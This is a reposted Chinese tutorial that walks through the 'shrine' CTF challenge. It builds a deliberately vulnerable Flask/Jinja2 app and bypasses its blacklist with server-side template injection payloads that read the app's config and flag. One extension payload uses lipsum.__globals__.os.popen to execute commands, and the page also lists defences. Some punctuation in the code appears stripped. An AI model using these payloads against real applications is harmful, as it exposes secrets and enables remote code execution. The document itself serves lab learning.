保姆级教程:手把手复现攻防世界shrine靶场(Flask+Jinja2 SSTI)
从零构建Flask SSTI靶场绕过黑名单获取FLAG的实战指南第一次接触CTF中的SSTI漏洞时我完全被那些奇怪的{{}}符号和魔术方法搞晕了。直到亲手搭建环境复现漏洞才真正理解模板注入的精妙之处。本文将带你从零开始完整复现攻防世界shrine靶场的SSTI漏洞利用过程特别适合刚入门Web安全的新手。1. 环境搭建与靶场初始化在开始之前我们需要准备以下工具Python 3.6推荐3.8版本Flask框架本文使用2.0.1版本任意代码编辑器VS Code/PyCharm等浏览器或Burp Suite等HTTP工具首先创建项目目录并安装依赖mkdir shrine_target cd shrine_target python -m venv venv source venv/bin/activate # Windows使用 venv\Scripts\activate pip install flask2.0.1接着创建app.py文件写入靶场核心代码import flask import os app flask.Flask(__name__) app.config[FLAG] os.environ.pop(FLAG) app.route(/) def index(): return open(__file__).read() app.route(/shrine/path:shrine) def shrine(shrine): def safe_jinja(s): s s.replace((, ).replace(), ) blacklist [config, self] return .join([{{% set {}None%}}.format(c) for c in blacklist]) s return flask.render_template_string(safe_jinja(shrine)) if __name__ __main__: app.run(debugTrue)设置环境变量并启动服务export FLAGflag{test_flag_for_shrine} python app.py注意Windows系统使用set FLAGflag{test_flag_for_shrine}设置环境变量2. 代码审计与漏洞分析让我们拆解这段代码的关键安全点敏感数据存储app.config[FLAG]将flag存入应用配置os.environ.pop(FLAG)确保环境变量中不留痕迹路由设计/路由直接返回源码自解释型靶场/shrine/path:shrine接收动态路径参数过滤机制s s.replace((, ).replace(), ) # 过滤所有括号 blacklist [config, self] # 黑名单变量模板预处理{{% set configNone%}}{{% set selfNone%}} 用户输入关键漏洞点在于虽然过滤了config和self变量但未限制通过对象属性访问config的方式。3. 黑名单绕过技术详解常规SSTI payload如{{config}}会被拦截我们需要寻找替代方案。Flask在渲染模板时会自动注入以下有用对象对象/函数类型可用性url_for函数可用get_flashed_messages函数可用request对象可用session对象可用利用函数对象的__globals__属性可以绕过限制{{ url_for.__globals__[current_app].config }}这个payload的工作流程url_for是Flask注入的全局函数__globals__包含函数定义时的全局命名空间current_app指向Flask应用实例.config访问应用配置字典4. 实战漏洞利用步骤4.1 基础测试首先测试基本模板注入http://127.0.0.1:5000/shrine/{{7*7}}如果返回49说明存在模板注入。4.2 绕过括号过滤尝试包含括号的payload会失败http://127.0.0.1:5000/shrine/{{.__class__}}因为所有括号都被移除了。4.3 使用属性访问链构造不需要括号的payloadhttp://127.0.0.1:5000/shrine/{{url_for.__globals__.current_app.config}}4.4 最终payload由于.和[]在属性访问中等价以下两种形式都可以{{url_for.__globals__[current_app].config[FLAG]}} {{get_flashed_messages.__globals__.current_app.config.FLAG}}在浏览器中访问http://127.0.0.1:5000/shrine/{{url_for.__globals__[current_app].config[FLAG]}}4.5 常见问题排查返回空白页检查Flask版本pip show flask确保环境变量FLAG已设置500内部错误可能是Jinja2渲染错误检查payload中的特殊字符是否被编码黑名单生效确保没有直接使用config或self使用__globals__间接访问5. 防御方案与安全实践理解了攻击原理后我们来看如何加固应用更严格的黑名单blacklist [config,self,__globals__,_,|join,mro]使用沙盒环境from jinja2.sandbox import SandboxedEnvironment env SandboxedEnvironment()输入验证def validate_input(input_str): forbidden [{{,}},__] return not any(f in input_str for f in forbidden)最小权限原则不要将敏感数据存储在应用配置中使用单独的密钥管理系统在开发过程中可以定期使用以下工具进行安全检查banditPython代码静态分析工具sqlmap虽然主要用于SQL注入但也能检测部分SSTI自定义模糊测试脚本6. 扩展实验与学习建议为了加深理解建议尝试以下实验修改黑名单测试添加url_for到黑名单后如何绕过尝试使用request对象获取配置不同版本影响pip install flask1.0.2测试旧版本是否存在差异替代利用链{{lipsum.__globals__.os.popen(id).read()}}推荐的学习路径先掌握Python魔术方法__class__、__base__等学习Jinja2模板语法研究Flask框架的上下文机制练习CTF中其他SSTI题目记得在实验环境中操作不要在生产系统尝试这些技术。理解漏洞原理的目的是为了构建更安全的系统而非实施非法攻击。
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2438300.html
如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!